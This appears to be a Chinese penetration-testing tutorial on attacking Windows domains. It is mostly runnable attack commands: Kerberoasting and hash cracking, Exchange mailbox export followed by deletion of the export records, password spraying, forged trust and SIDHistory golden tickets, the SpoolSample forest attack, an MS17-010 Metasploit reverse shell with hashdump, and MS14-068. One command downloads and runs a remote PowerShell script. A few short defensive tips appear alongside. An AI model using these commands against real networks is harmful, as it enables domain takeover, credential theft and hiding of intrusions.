\计算机配置\Windows 设置\安全设置\本地策略\安全选项\网络安全:配置 Kerberos 允许的加密类型
请求指定 SPN 的服务票据
$SPNName = 'MSSQLSvc/DBSRV.teamssix.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
或者请求所有服务的服务票据
Add-Type -AssemblyName System.IdentityModel
setspn -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
可以使用 klist 查看本地缓存的票证,看看有没有新的票据
之后在 mimikatz 中执行如下命令,将内存中的票据导出
kerberos::list /export
#票据会导出在当前目录下的kirbi文件中,加密方式为RC4_HMAC_MD5
也可以不使用 mimikatz,使用 powershell 脚本导出支持 hashcat 破解的格式
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/https://raw.githubusercontent.com/EmpireProject/Empire/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl"
或者使用 Rubeus 获取票据
Rubeus.exe kerberoast
也可以使用 impacket 获取票据
python3 GetUserSPNs.py -request -dc-ip 192.168.7.7 -debug teamssix.com/test
将 MSSQL 服务所对应的票据复制到有 kerberoast 的机器上,之后用 kerberoast 中的 tgsreperack.py 脚本破解票据的 NTLM Hash
Kerberoast 脚本下载地址:https://github.com/nidem/kerberoast
python2 tgsreperack.py password.txt mssql.kirbi
或者使用 hashcat 破解 powershell 脚本、Rubeus、impacket 获取到的服务票据
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force
针对Kerberoast攻击,有如下防范建议:
- 确保服务账号密码长度超过25位;确保密码的随机性;定期修改服务账号的密码
- 如果攻击者无法将默认的AES256_HMAC加密方式更改为RC4_HMAC_MD5,就无法使用tgsrepcrack。py来破解密码【攻击者可以通过嗅探的方法抓取 Kerberos TGS 票据。因此,如果强制使用 AES_256_HMAC 方式对 Kerberos 票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性】
- 许多服务账户在内网中被分配了过高的权限,且密码强度通常较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度
- 在进行日志审计时,可以重点关注ID为4769(请求Kerberos服务票据)的事件。如果有过多的4769日志,应该进一步检查系系统中是否存在恶意行为
Exchange邮件服务器利用
Exchange邮件服务器基本介绍
Exdhane是微软出品的电子邮件服务组件,是一个消息与协作系统。Exchange 在学校和企业中常常作为主要的电子邮件系统使用。Exchange的主要版本有Exchange 2003、Exchange 2007、Exchange 2010、Exchange 2013、Exchange 2016、Exchange 2019。
Exchange服务器可以以本地化的形式部署。也可以以Exchange Online的方式,将Exchange服务器托管在微软云端。Exchange 提供了极强的可扩展性、可靠性、可用性,以及极高的处理性能与安全性能。同时,Exchange 与活动目录、域服务、全局编排目录及微软的其他相关服务和组件有着紧密的联系。
在大型企业中,大多数办公业务都是通过电子邮件系统完成的,电子邮件中可能包含大量的源码、企业内部通讯录、明文密码,敏感业务登录地址及可以从外网访问内网的VPN账户和密码等信息。因此。在对服务器进行安全议置时,定要及时更新Exchange软件的安全补丁和Exchange服务器的安全补丁,有效降低Exchange沦陷情况的发生概率。Exchange支持PowerShell对其进行本地或远程操作,这一方面方便了运维人员对Exchange的管理和配置,另一方面为攻击者对Exchange进行恶意操作创造了条件。
Exchange邮件服务器角色
通过划分不同的服务器角色(使它们能执行属于自己的组件和服务),以及为这些角色设置依存关系,Exchange将电子邮件处理变成了一个强大、丰富、稳定而又复杂的过程。Exchange在逻辑上分为三层,分别是网络层Network Layer)、目录层(Dretory Layer)、消息层(Messging Layer)。服务器角色处在消息层。
以Exchange Server 2010版本为例,Exchange Server 2010包含五个服务器角色,分别是邮箱服务器(mailbox server)、集线传输服务器(hub transport server)、客户端访问服务器(client access server)、边缘传输服务器(edge transport server)、统一消息服务器(unified messaging server),除了边缘传输服务器以外其他角色都可以在同一台主机上进行部署添加,其中邮箱服务器、集线传输服务器、客户端访问服务器是核心服务器角色,部署这三个角色就能提供基本的邮件处理功能。下面对这五个服务器角色进行说明:
-
邮件服务器
- 该角色是提供托管邮箱、公共文件夹以及相关的消息数据(如地址列表)的后端组件,是必选的服务器角色。
-
客户端访问服务器
-
接收和处理来自于不同客户端的请求的中间层服务器角色,该角色服务器提供了对使用不同协议进行访问的支持,每个 Exchange 环境中至少需要部署一个客户端访问服务器,客户端访问服务器提供了对以下不同接口访问 Exchange 服务器的处理。
MAPI访问 POP3和IMAP4访问 Outlook Web App访问(OWA) Outlook Anywhere访问 Autodiscover自动发现服务 可用性服务
-
-
集线传输服务器
- 或称中心传输服务器,该服务器角色的核心服务就是 Microsoft Exchange Transport,负责处理 Mail Flow(这又是Exchange中的一大知识点,Exchange 管理员需要通过 MailFlow 实现邮件出站与进站配置)、对邮件进行路由、以及在 Exchange 组织中进行分发,该服务器角色处理所有发往属于本地邮箱的邮件和发往外部邮箱的邮件,并确保邮件发送者和接收者的地址被正确解析并执行特定策略(如邮件地址过滤、内容过滤、格式转换等),该服务器角色相当于一个邮件传输的中继站点,每个 Exchange 环境中至少需要部署一个集线传输服务器。
-
统一消息服务器
- 将专用交换机(private branch exchange/PBX) 和 Exchange Server 集成在一起,以允许邮箱用户可以在邮件中发送存储语音消息和传真消息,可选角色。
-
边缘消息服务器
- 该服务器角色作为专用服务器可以用于路由发往内部或外部的邮件,通常部署于网络边界并用于设置安全边界。其接受来自内部组织的邮件和来自外部可信服务器的邮件,然后应用特定的反垃圾邮件、反病毒策略,最后将通过策略筛选的邮件路由到内部的集线传输服务器,可选角色。
在 Exchange Server 2013 及以后的版本中,服务器角色精简为三个,分别是邮箱服务器、客户端访问服务器和边缘传输服务器,其中邮箱服务器角色和客户端访问服务器角色通常被安装在同一台服务器中。
客户端/远程访问接口和协议
邮件通信分为邮件发送和邮件接收,其中邮件发送使用统一的通信协议,即SMTP,而邮件的收取则有多种协议标准,如由早期的POP发展至今的POP3,如今使用广泛的IMAP,Exchange开发了私有的MAPI协议用于收取邮件,较新版本的Outlook通常使用MAPI与Exchange进行交互,除此之外早期的Outlook还使用称为Outlook Anywhere的RPC交互
下面介绍Exchange提供支持的访问接口和协议:
-
OWA(Outlook Web App)
- 客户端登录使用,地址通常为 http://DOAMIN/owa/
- 页面如下
-
ECP(Exchange Administrative Center)
- 管理中心,管理员用于管理组织中的 Exchange 的 Web 控制台,地址通常为 http://DOMAIN/ecp/
- 页面如下
-
Outlook Anywhere(RPC-over-HTTP,RPC/HTTP)
-
MAPI(MAPI-over-HTTP,MAPI/HTTP)
-
Exchange ActiveSync(EAS,XML/HTTP)
-
Exchange Web Service(EWS,SOAP-over-HTTP)
Exchange 服务发现
Exchange作为一个运行在计算机系统中的、为用户提供服务的应用,必然会开放相应的端口(供多个服务和功能组件实现相互依赖与协调)。所以,通过端口扫描就能发现内网或公网中开放的Exchange 服务器。端口特征如下:
- 25 端口 SMTP 指纹显示 Exchange smtpd
- 80 端口为 iis
- 443 端口开放
但是注意两点:
- 不同的服务与端口可能取决于服务器所安装的角色、服务器进行的配置、以及网络环境与访问控制的安全配置等(所以具体开放的端口或服务取决于服务器角色、服务器进行的配置、以及网络环境与访问控制的安全配置等)
- 使用Nmap端口扫描的方法寻找Exchange服务器,需要与主机进行交互,产生大量的通信流量,造成IDS报警,并在目标服务器中留下大量的日志。蓝队人员可以关注报警信息、经常查看日志,就可以发现网络系统中存在的异常
#基于端口扫描发现,这里使用nmap
nmap -A -O -sV 10.1.1.23
#在安装Exchange 时,SPN就被注册在活动目录中了。在域环境中,可以通过SPN来发现Exchange服务。
#获取SPN记录的方法很多,可以使用PowerShell脚本获取,也可以使用Windows自带的setspn命令获取,这里使用setspn
#在域内的一台工作机上,通过setspn查询
setspn -T labtest.com -F -Q */*
Exchange 的基本操作
在 Exchange 服务器上的 PowerShell 里进行以下操作
既然Exchange是一个电子邮件系统,那么其中必然存在数据库。Exchange 数据库的后缀为“.edb",存储在Exchange服务器上。通过Exchange发送、接收、存储的邮件,都会存储在Exchange的数据库中。为了保证可用性,Exchange 的运行一般需要两台以上的服务器。使用PowerShell可以查看Exchange数据库的信息。
将 Exchange 管理单元添加到当前会话中
add-pssnapin microsoft.exchange*
注意,这一步是以下所有操作的前提
查看邮件数据库
Get-MailboxDatabase -server "dc"
查询数据库的物理路径
Get-MailboxDatabase -Identity 'Mailbox Database 0761701514' | Format-List Name,EdbFilePath,LogFolderPath
获取所有用户的邮件地址
Get-Mailbox | Format-table Name,WindowsEmailAddress
查看指定用户的邮箱使用信息
Get-Mailboxstatistics -Identity Administrator | Select Dispayname,ItemCount,TotalItemSize,TotalTimeSize,LastLogonTime
获取用户邮箱中的邮件数量及用户的最后登录时间,通过该命令还可以列出那些用户未登录过Exchange邮件系统
Get-Mailbox -ResultSize Unlimited | Get-Mailboxstatistics | Sort-Object TotalItemSize -Descend
Exchange导出指定的电子邮箱
Exchange邮件的后缀为“.pst”,Exchange Server 2007 中需要使用 ExportMailBox 命令,在 Exchange Server 2010 SP1 及以后的版本中可以使用图形化界面导出,也可以使用 PowerShell
如果想要导出 PTS 格式的邮件文件,则需要为能够操作的Powershell的用户配置邮箱导入/导出权限。
配置用户的导入导出权限
查看用户权限
Get-ManagementRoleAssignment -role "Mailbox Import Export"
#Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
将 Administrator 用户添加到 Mailbox Import Export 角色组里,将用户添加到角色组后,需要重启 Exchange 服务才能执行导出操作
添加用户权限
New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"
导出后,注意删除权限(删除刚刚添加的 Mailbox Import Export 角色组中的用户)
Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false
设置网络共享文件夹
不论使用哪种方式导出邮件,都需要将文件放置在 UNC(Universal Naming Convention,通用命名规则,也称通用命名规范、通用命名约定)路径下。类似于 “\\hostname\sharename”、“\\ipaddress\sharename” 的网络路径就是UNC路径,sharename 为网络共享名称。
首先开启共享,这里演示将 C 盘 inetpub 文件夹设置为 everyone 可读写,以便将电子邮件从Exchange服务器中导出,执行如下命令:
net share inetpub=c:\inetpub /grant:everyone,full
#看到提示信息“共享成功”后,可以键入如下命令,查看共享文件夹
net share
导出用户的电子邮件
使用 PowerShell 导出电子邮件,用户的电子邮箱目录一般为Inbox(收件箱)、SentItems(已发送邮件)、DeleteItems(已删除邮件)、Drafts(草稿)等
#使用New-MailboxExporRequest命令,可以将指定用户的所有邮件导出
New-MailboxExportRequest -Mailbox administrator -FilePath \\192.168.7.77\inetpub\administrator.pst
使用图形化界面导出电子邮件,在浏览器地址栏中输入“IP\ecp”,打开 Exchange 管理中心的登录界面。
输入账号密码(之前添加到Mailbox Import Export角色组中的用户账号和密码)登录 Exchange 管理中心,单击“收件人”选项,可以看到当前电子邮箱的信息。单击“+”按钮,可以将域用户添加到Exchange服务器中。选中要导出邮件的用户(比如这里的administrator),单击“…”按钮,然后选择“导出到PST文件”选项,进入“导出到.pst”" 界面,单击“浏览”按钮,单击“下一步”按钮,设置导出路径(该路径需为UNC路径)即可
管理导出请求(痕迹清除)
不论是使用Powershell导出电子邮件,还是通过图形化界面导出电子邮件,在创建导出请后,都会在Exchange中留下相关信息,这些信息有助于蓝队人员发现服务器中的异常行为。
通过以下命令,可以查看之前的导出请求记录信息。
Get-MailboxExportRequest
将指定用户已经完成的导出请求删除
Remove-MailboxExportRequest -Identity Administrator\MailboxExport
删除所有已完成的导出请求
Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest
删除所有导出请求,包括完成和失败的请求
Get-MailboxExportRequest | Remove-MailboxExportRequest
Exchange 在域中的权限
查看 Exchange 服务器的隶属关系,发现其属于:Exchange Security Groups
再跟进CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=pentest,DC=lab
该组又隶属于CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=pentest,DC=lab,该组包含通过管理服务代表用户运行 Exchange cmdlet 的 Exchange 服务器。其成员有权读取和修改所有 Windows 帐户和组。
最后的结论就是 Exchange 服务器有权限修改域内任意用户的 ACL,因此,可以利用 Exchange 修改用户 ACL,然后再利用 Dcsync 来 dump hash。这里再理一下思路,在域环境中,如果安装Exchange后,系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限,就能够继承用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash,实现权限提升的目的。
Exchange 接口利用
前面介绍过,Exchange 提供了多种客户端邮箱接口和服务接口,对于渗透测试人员而言,这些接口就是踏入 Exchange 内部的第一道关卡,提供服务的接口需要有效的用户凭证信息,显然,用户名与密码破解是摆在面前的第一个尝试。在企业域环境中,Exchange 与域服务集合,域用户账户密码就是 Exchange 邮箱的账户密码,因此,如果通过暴力破解等手段成功获取了邮箱用户密码,在通常情况下也就间接获得了域用户密码。下面列举两种爆破密码的方法:
- 利用自动发现服务进行暴力破解
Autodiscover自动发现服务使用Autodiscover.xml配置文件来对用户进行自动设置,获取该自动配置文件需要用户认证,如访问http://test2k12.fb.com/Autodiscover/Autodiscover.xml
文件将提示需要认证,如果认证通过,将获取到如下的XML文件内容:
利用这个接口,可以对邮箱账号做暴力破解。Ruler工具提供了对Exchange的自动配置文件接口进行认证的暴力破解,通过配置线程数、间隔时间可以限制破解速度防止多次登陆失败触发告警或账户被封禁
Ruler下载地址:https://github.com/sensepost/ruler
./ruler --url https://172.16.147.4/autodiscover/autodiscover.xml --domain pentest.lab --insecure brute --users user.txt --passwords pass.txt --delay 0 --verbose
- Password Spray
password spray同样是一种破解账户密码的方法,与常规的暴力破解方法不同的是,password spary针对一批账户进行破解,每次对单个用户账户进行一次或少数次登陆尝试后换用下一个用户进行尝试,如此反复进行并间隔一定时间,以此方法躲避多次暴力破解的检测和账户锁定的风险。
mailsniper工具提供分别针对 OWA
接口、EWS
接口和 ActiveSync
接口的 password spray。
mailsniper下载地址:https://github.com/dafthack/MailSniper
Invoke-PasswordSprayEWS -ExchHostname exchange.pentest.lab -UserList .\user.txt -Password 123456 -ExchangeVersion Exchange2016
跨域攻击
常见的跨域攻击方法
常见的跨域攻击方法有以下几种:
- 利用常规的渗透方法,比如利用 Web 漏洞跨域获取权限
- 利用已知散列值进行哈希传递或票据传递,因为有可能域内的密码是通用的
- 利用域信任关系
下面会着重介绍第三种,即利用域信任关系进行跨域攻击
利用域信任关系进行跨域攻击
当有多个域时,不同的域之间想进行资源共享,就需要用到域信任,只有当域之间互相信任后,才能进行资源共享。
域信任关系可分为单向信任和双向信任。单向信任即 A 信任 B,但 B 不信任 A,双向信任同理。在创建子域时,系统会在新的子域和父域之间自动创建双向可传递信任关系。
这里说一下单向信任,在受信任城和信任域之间的单向信任中,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。简单来说就是,域A信任域B,则域B可以访问域A
域信任关系又可分为内部信任和外部信任。内部信任是指在同一个林中域之间的信任关系,这种信任关系是可传递的;外部信任指不同林之间域的信任关系,这种信任关系要视林间信任类型来判断是不是可传递
在 Windows 操作系统中,只有 Domain Admins 组中的用户可以管理域信任关系;Enterprise Admins 组(仅出现在林的根域中)的成员对林中所有域拥有完全控制权限,默认情况下,该组包含林中所有域控上具有 administrators 权限的成员。
这里先提一下Enterprise Admins 组,先思考一个问题:根域和子域是如何进行划分的,又或者说根域和子域是如何进行权限划分的?答案就是通过Enterprise Admins组来进行划分,就是根域下存在这个组,子域并不存在这个组,又或者说在域森林中只有根域有这个组因此根域的管理员能操作整个域,我们在域森林中横向的目的也是最终拿下这个组下的用户。Enterprise Admins 组的RID为519,RID的相关概念下面会讲到。
获取域信息
这里使用 lg工具 进行域内信息的收集,lg 是一款用 C++ 编写的用于管理本地用户组和域本地用户组的命令行工具,可用它来收集远程主机用户和组的信息。
lg工具下载地址:http://www.joeware.net/freetools/tools/lg/index.htm
#枚举 teamssix 域中的用户组
lg.exe teamssix\.
#枚举远程计算机的用户组,如果提示拒绝访问,说明没有信任关系
lg.exe \\dc
#枚举远程计算机的用户名
lg.exe \\dc -lu
#枚举远程系统中全部用户的 SID
lg.exe \\dc -lu -sidsout
#枚举远程系统指定组中的所有成员的 SID
lg.exe \\dc\administrators -lu -sidsout
对于域信任关系还可以做一些信息收集,如下
#这里使用nltest命令,是Windows操作系统自带的命令行工具,可以先查看一下使用文档
nltest /? > document.txt 2>&1
#这个命令将 "nltest /?" 的标准输出和错误输出都重定向到名为document.txt的文件中。如果document.txt不存在,则会创建该文件;如果存在,则会覆盖原有内容
#下面介绍nltest命令的使用
#列出指定域的域控制器列表
nltest /DCLIST:<DomainName>
#nltest /DCLIST:xxx.com
#检索当前域与其他域之间的信任关系信息
nltest /domain_trusts [过滤参数]
nltest /domain_trusts还有一些过滤参数,如下
下面对于nltest /domain_trusts命令列出的信息格式做一个说明
我这里以0: ONE one.com (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound)
为例
-
0:域的编号(只起到一个编号的作用)
-
ONE one.com:表示与当前域建立了信任关系的目标域的名称
-
NT 5:NT 5 表明Windows内核版本,表示该域的版本号为 Windows 2000 或更高版本,它可能是个默认值(即如果回显数据包没有中特别指名,会默认成NT 5)
-
Forest Tree Root:表示信任关系。常见的信任关系的值有:
- Parent/Child:父子域之间的信任关系
- Tree Root/Tree Root:树根域之间的信任关系
- External/Internal:外部域和内部域之间的信任关系
- Forest/Forest:域林之间的信任关系
- Forest Tree Root:应该表达的是,域林根域之间的信任关系
-
Direct Outbound:表示访问方向(也有说表示信任关系的方向的,我这里使用访问方向更容易理解)。常见的访问方向有:
-
Direct Inbound:直接入站,意味着从目标域可以访问当前域
-
Direct Outbound:直接出站,意味着从当前域可以访问目标域
注意,两个值也有可能同时出现,应该表示允许双向访问。
-
再看一个例子,1: A a.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
- Primary Domain:表示该域是主域
- Native:表示该域是本机相关的或者原生的
换句话说就是,这条记录表示域信任自身(即域自己信任自己)
还可以使用netdom工具(也是Windows自带的),如下
#查询当前域与其他域之间的信任关系
netdom query trust
在域控上,也可以使用Get-ADUser方法
#Get-ADUser方法属于ActiveDirectory模块,在域控安装AD时会默认安装
#可以先检查一下是否存在该模块
get-module -listavailable
#get-module activedirectory -listavailable
#如果不存在,可以通过以下方式安装
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
#使用前需要导入模块
import-module activedirectory
#获取 Active Directory 中以 $ 结尾的所有用户帐户
Get-ADUser -Filter {samAccountName -like "*$"}
#获取 Active Directory 中所有用户帐户
Get-ADUser -Filter {samAccountName -like "*"}
在收集完域信任关系后,可以利用域信任关系做进一步的信息收集
可以使用adfind工具获取信任域的完整信息
.\adfind.exe -h bdc1.b.com -sc u:Administrator
通过对比目标域和当前域的用户列表,同时加入两个域的用户属于敏感用户,可以重点关注。
不仅仅是加入多个域的用户属于敏感用户,用户组中的外部用户也属于敏感用户,也应该重点关注
这里使用PowerView模块中的Get-DomainForeignGroupMember方法列出目标域用户组中的外部用户,如下
#https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Get-DomainForeignGroupMember -Domain new.com
利用域信任密钥获取目标域权限
假设环境如下:
- 父域的域控:dc.teamssix.com
- 子域的域控:subdc.sub.teamssix.com
- 子域内的计算机:user4.sub.teamssix.com
- 子域内的普通用户:user4
- 子域作为当前域,父域作为目标域
在子域的域控中使用 mimikatz 获取需要的信息
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:administrator" "lsadump::trust /patch" exit
#如果不在子域的域控上,可以在子域的其他机器上执行以下命令。但是为了成功执行命令,需要具有足够的权限
mimikatz.exe privilege::debug "lsadump::dcsync /domain:子域 /user:子域域管用户名" exit
得到当前域(子域)的 SID 、目标域(父域)的 SID 和当前域(子域)域管 NTLM 哈希后,在子域的普通用户机器上利用 mimikatz 制作信任票据
mimikatz.exe "kerberos::golden /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /rc4:5bfd59b5e1f78a794f714af07eac869f /user:administrator /service:krbtgt /target:teamssix.com /ticket:subdc_administrator.kirbi" exit
这里解释一下上面这条命令及其参数的含义,如下
- /domain:指定当前域名
- /sid:指定当前域的SID
- /sids:指定目标域的SID-要创建的用户所属的组的SID
- /rc4:指定信任密钥 ,即当前域域管 NTLM 哈希
- /user:指定伪造的用户名
- /service:指定要访问的服务
- /target:指定目标域名
- /ticket:指定保存票据的文件名
注意,这里的 sids 是“指定目标域的SID-要创建的用户所属的组的SID”,这个要创建的用户所属的组的SID又称RID,通常是519。在当前演示场景下,就是“父域sid-519”。至于RID和SID的关系以及为什么是519,下面会解释。
这里有必要介绍一下sid,比较常用的有用户sid、组sid、域sid,此外还有进程sid,具体介绍如下。
某些 SID 的值在所有系统中都是恒定的。 这些 SID 是在安装操作系统或域时创建的。 它们被称为公认 SID,因为它们标识通用用户或通用组。下表列出了通用的公认 SID:
上面说到域sid的构成中还有个“相对标识符”,它其实也是一个sid,为了同“域标识符”区分,所以称作“相对”,“相对”的英文是“relative”所以就称为rid了,但是它实质上也是一个sid,说它是sid一部分是相对于域sid来说的【域sid的构成中有相对标识符,可以理解为一个大sid(域sid)包含着一个小sid(相对标识符)】,这里也介绍一下:
同样,RID也有通用的公认的RID,如下
利用刚刚制作的信任票据获取目标域中目标服务的 TGS 并保存到文件中
这里用到asktgs.exe和kirbikator.exe,给出一个github上的汇总项目提供下载:https://github.com/NotScortator/asktgs_compiled
asktgs.exe subdc_administrator.kirbi cifs/dc.teamssix.com
将获取的 TGS 票据注入到内存中
kirbikator.exe lsa cifs.dc.teamssix.com.kirbi
获得权限,使用 dir 访问目标域控
dir \\dc.teamssix.com\c$
利用 krbtgt 散列值获取目标域的权限
这其实是使用SIDHistory进行跨域信任并搭配黄金票据的一种利用方式,有师傅称为SIDHistory版黄金票据,我觉得很形象。这里先介绍一下SIDHistory
SIDHistory版黄金票据的基础是森林内信任关系,因为如果不是森林内信任关系,则 SIDHistory 会被微软的 SID Filter 规则过滤掉,从而失效,但森林内部不会有 SID Filter 规则。
由于每个域的 SID 都不同,叠加 SIDHistory 的黄金票据不具备通用性。但是根据微软的描述,在同一个域森林内部,企业管理组 EA(Enterprise Administrators) 会自动被森林内部所有域加入到本域的域管理员组,且 EA 只存在于根域中,所以 企业管理组EA 的 SID 固定为 “根域的SID加上固定的RID(即519)”。总结一下就是,企业管理组EA的SID是个例外,用它制作的黄金票据具有通用性。
如果使用企业管理组 EA 的 SID 设置 SIDHistory 属性,和黄金票据结合,则在只获取任意一个域 krbtgt 账号 NTLM 值的前提下,即可实现森林内部所有域的跨域黄金票据,这种票据可简称为 SIDHistory 版黄金票据。
如果攻击者获取了林内任意域的 krbtgt 散列值,就可以使用 sidHistory 获得该林的完整权限。
首先获取当前子域和父域的 SID 值,可以使用以下工具或命令
下面会使用到Adfind工具,Adfind是一款在域环境下非常强大的信息搜集工具,允许用户在域环境下轻松搜集各种信息。它提供了大量的选项,可以优化搜索并返回相关详细信息,是内网域渗透中的一款利器。
Adfind下载地址:https://www.softpedia.com/dyn-postdownload.php/20ad8842aeff38fec0fe96f07fd40e22/655e11d4/140b0/4/2
#使用wmic命令
wmic useraccount get caption, sid
#wmic useraccount get name, sid
#使用whoami
whoami /user
#使用Adfind工具
adfind.exe -sc u:user4 | findstr Sid
#使用PowerView脚本中的方法【https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1】
Set-ExecutionPolicy Unrestricted
Import-Module .\PowerView.ps1
Get-DomainSID sub.teamssix.com
Get-DomainTrust -APi
接下来获取子域的 krbtgt 的哈希值,使用 mimikatz 即可
mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit
在子域普通用户权限的计算机中构造黄金票据并注入内存
mimikatz "Kerberos::golden /user:Administrator /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /krbtgt:b53a5c7c51648f033b96971e7ae4ee45 /ptt" exit
还是解释一下上面这条命令及其参数的含义,如下:
- /user:指定伪造的用户名
- /domain:指定当前域名
- /sid:指定当前域的SID
- /sids:指定目标域的SID-要创建的用户所属的组的SID
- /krbtgt:指定krbtgt 的哈希值
- /ptt:表示将票据注入内存
获得权限,使用 dir 访问目标域控
利用无约束委派和 MS-RPRN 获取信任林权限
这里先解释一下无约束委派,无约束委派是一种特权设置,它允许服务器在进行用户身份验证后,将用户的安全上下文传递给其他服务器,而无需再次验证用户的身份。这样一来,其他服务器可以使用用户的身份信息来处理请求,而无需用户再次提供凭据。服务器在配置了无约束委派后,会允许一个服务器接受来自其他计算机的用户身份验证,并代表这些用户请求资源,而不需要进一步的身份验证。这种配置可以使服务器在进行身份验证时不受限制地将用户的身份信息传递给其他服务器。无约束委派具体做的事情如下:
还有一点,林信任和林内信任是不同的概念,注意区分,如下
如果已经获取了域林中某个域控权限,或者配置了无约束委派的任何服务器的权限,那么就可以使用 MS RPRN 的 RpcRemoteFindPrinterChangeNotification(Ex) 方法,使信任林的域控制器向已被控制的服务器发送身份认证请求,从而捕获票据,利用捕获的票据就可以获取信任林内任意用户的哈希值。
假设这里获取了 teamssix.com 域的域控权限,且 0day.org 与 teamssix.com 域有林信任关系
首先在 teamssix.com 的域控上监听身份认证请求
这里用到Rubeus工具,Rubeus是由国外安全研究院harmj0y用C#编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如TGT请求/ST请求/AS-REPRoasting攻击/Kerberoasting攻击/委派攻击/黄金票据/白银票据等。下载地址:https://github.com/GhostPack/Rubeus
rubeus.exe monitor /interval:5 /filteruser:OWA2010SP3$
#interval参数: 用于设置监控的时间间隔
#filteruser参数: 用于指定需要关注的主机,这里的 OWA2010SP3 是 0day.org 域控的主机名
开启监听后,使用 SpoolSample 工具让 OWA2010SP3.0day.org 向 dc.teamssix.com 发送身份认证请求
SpoolSample下载地址:
SpoolSample.exe OWA2010SP3.0day.org dc.teamssix.com
获得票据后,使用 rubeus 将票据注入内存
rubeus.exe ptt /ticket:<TGT 票据>
使用 mimikatz 获取目标的 krbtgt 散列值
mimikatz.exe "lsadump::dcsync /domain:0day.org /user:0day\krbtgt" exit
接下来,构造黄金票据并将其注入内存,就能够获得 0day.org 域控的权限了
mimikatz "Kerberos::golden /user:Administrator /domain:0day.org /sid:5-1-5-21-1812920812-2335051732-3517558806 /rc4:b53a5c8c51648f053b96971e7ae4ee25 /ptt" exit
经典漏洞案例
永恒之蓝漏洞分析与防范
受永恒之蓝影响的操作系统有:
- Windows NT
- Windows 2000
- Windows XP
- Windows Server 2003
- Windows Vista
- Windows 7
- Windows 8
- Windows Server2008
- Windows Server 2008 R2
- Windows Server 2012R2
- …
下面使用msf对永恒之蓝漏洞进行批量检测和利用:
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
show options
set rhost 10.1.1.1/24 #需要扫描的地址段
set threads 50 #50线程
exploit #开始
如下图,检测出来了2台机器有漏洞
如果设置一个很大的地址段,就可以检测整内网的机器有没有漏洞
选择上面扫描的windows 7 : 10.1.1.34
set rhost 10.1.1.34 #攻击地址,有永恒之蓝漏洞的机器
set lhost 10.1.1.30 #本地地址,看情况在设置,有时可以跳过
set payload windows/x64/meterpreter/reverse_tcp #反弹的payload
exploit #攻击
getuid #获取权限
hashdump #抓取当前用户散列值
shell #获得shell
防御“永恒之蓝”漏洞对Windows操作系统的攻击,方法如下:
- 禁用SMB协议(该方法适用于Windows Vista及更高版本的操作系统)。
- 打开Windows Update,或者手动安装KB2919355。
- 使用防火墙阻止445端口的连接,或者使用进/出站规则阻止445端口的连接。
- 不要随意打开陌生的文件。
- 安装杀毒软件,及时进行更新病毒库。
Kerberos 域用户提权漏洞分析(CVE-2014-6324)
在 2014 年微软修复了 Kerberos 域用户提权漏洞,即 MS14-068,CVE 编号为 CVE-2014-6324,该漏洞影响了 Windows Server 2012 R2 以下的服务器,该漏洞允许 RT 将任意用户权限提升至域管级别。
属于远古时代的漏洞,现实中已经很少会碰到了,这里主要熟悉下工具的用法。
14-068 产生的原因主要在于用户可以利用伪造的票据向认证服务器发起请求,如果用户伪造域管的票据,服务端就会把拥有域管权限的服务票据返回回来。
PyKEK
PyKEK 是一个利用 Kerberos 协议进行渗透的工具包,下载地址:https://github.com/mubix/pykek
使用 PyKEK 可以生成一个高权限的服务票据,之后通过 mimikatz 将服务票据导入到内存中。
MS 14-068 的补丁为:KB3011780,通过 wmic 查看补丁情况
wmic qfe get hotfixid | findstr KB3011780
查看当前用户 SID
whoami /user
或者使用 wmic
#获取域内所有用户的SID
wmic useraccount get name,sid
生成高权限票据,-d 指定域控地址
#python2 ms14-068.py -u 域成员名@域名 -s 域成员SID -d 域控地址 -p 域成员密码
python2 ms14-068.py -u jack@0day.org -s S-1-5-21-1812960810-2335050734-3517558805-1133 -d 192.168.3.142 -p Aa123456
打开 mimikatz 清除当前内存中的票据信息
kerberos::purge
将高权限票据注入内存
kerberos::ptc "TGT_jack@0day.org.ccache"
使用 net use 连接域控后,使用 psexec 获取 Shell
这里 net ues 使用 IP 可能会失败,因此在此使用机器名进行连接
GoldenPac
